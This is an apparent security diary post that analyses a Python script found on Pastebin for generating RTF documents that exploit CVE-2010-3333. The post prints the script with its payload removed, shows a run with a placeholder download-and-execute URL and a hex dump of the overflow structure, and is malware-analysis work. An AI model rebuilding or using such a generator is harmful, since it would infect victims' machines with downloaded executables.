Diving into a Simple Maldoc Generator
The number of malicious documents generated every day keeps growing for a while. To produce this huge amount of files, the process must be automated. I found on Pastebin a Python script to generate malicious Office documents. Let’s have a look at it.
(Note: The payload has been removed to prevent the script to be used “as is” by script kiddies)
import binascii import sys import time print "Microsoft Office 2010, download -N- execute " print " What do you want to name your .doc ? " print " Example: TotallyTrusted.doc " filename = raw_input() print " What is the link to your .exe ? " print "HINT!!:: Feed me a url. ie: http://super/eleet/payload.exe " url = raw_input() print "Gears and Cranks working mag1c in the background " time.sleep(3) close="{}}}}}" binme=binascii.b2a_hex(url) file=(‘ … base64 content removed … \n') textfile = open(filename , 'w') textfile.write(file.decode('base64')+binme+close) textfile.close() time.sleep(3) print “enjoy"
The script is very simple. It asks you for a filename and the URL that will serve the malicious file to be downloaded and executed on the victim's computer. Just be reading the strings '{}}}}', you can guess that the script generates an RTF document.
$ python maldoc_generator.py Microsoft Office 2010, download -N- execute What do you want to name your .doc ? Example: TotallyTrusted.doc example.doc What is the link to your .exe ? HINT!!:: Feed me a url. ie: http://super/eleet/payload.exe http://webserver.com/sample.exe Gears and Cranks working mag1c in the background enjoy
The generated file is indeed a malicious RTF document:
$ file example.doc example.doc: Rich Text Format data, version 1, unknown character set
Of course, my brand new file was unknown on VT. Let’s upload it and it gets immediately a good (or bad - depending on your position) score of 31/57[1]. This is normal, the payload uses the good old CVE-2010-3333 better known as MS-10-087[2]. You can recognise the RTF keyword 'pFragments' which is the cause of the buffer overflow:
00000500: 7b5c 736e 7b7d 7b7d 7b5c 736e 7d7b 5c73 {\sn{}{}{\sn}{\s 00000510: 6e7d 7b5c 2a5c 2a7d 7046 7261 676d 656e n}{\*\*}pFragmen 00000520: 7473 7d7b 5c2a 5c2a 5c2a 7d7b 5c2a 5c2a ts}{\*\*\*}{\*\* 00000530: 5c73 767b 5c2a 7d39 3b32 3b66 6666 6666 \sv{\*}9;2;fffff 00000540: 6666 6666 6623 3035 3030 3030 3030 3030 fffff#0500000000 00000550: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000560: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000570: 6530 6239 3263 3366 4141 4141 4141 4141 e0b92c3fAAAAAAAA 00000580: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
Today, it is quite easy to find document generators for all types of vulnerabilities and you don't need to go to the dark web for this purpose. CVE-2017-0199 remains a very popular one for a few months.
Just for the fun, I generated the malicious document with the example URL provided in the source code (http://super/eleet/payload.exe) and it was known on VT! Yes, script kiddies are still alive...
[1] https://www.virustotal.com/#/file/4cddfa1c6223ebbd676dbd8fcb46d8b3864ca10c6e40820103e246e7d6d57f3d/detection
[2] https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-087
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
Reverse-Engineering Malware: Advanced Code Analysis | Singapore | Nov 18th - Nov 22nd 2024 |
Comments
Anonymous
May 2nd 2018
6 years ago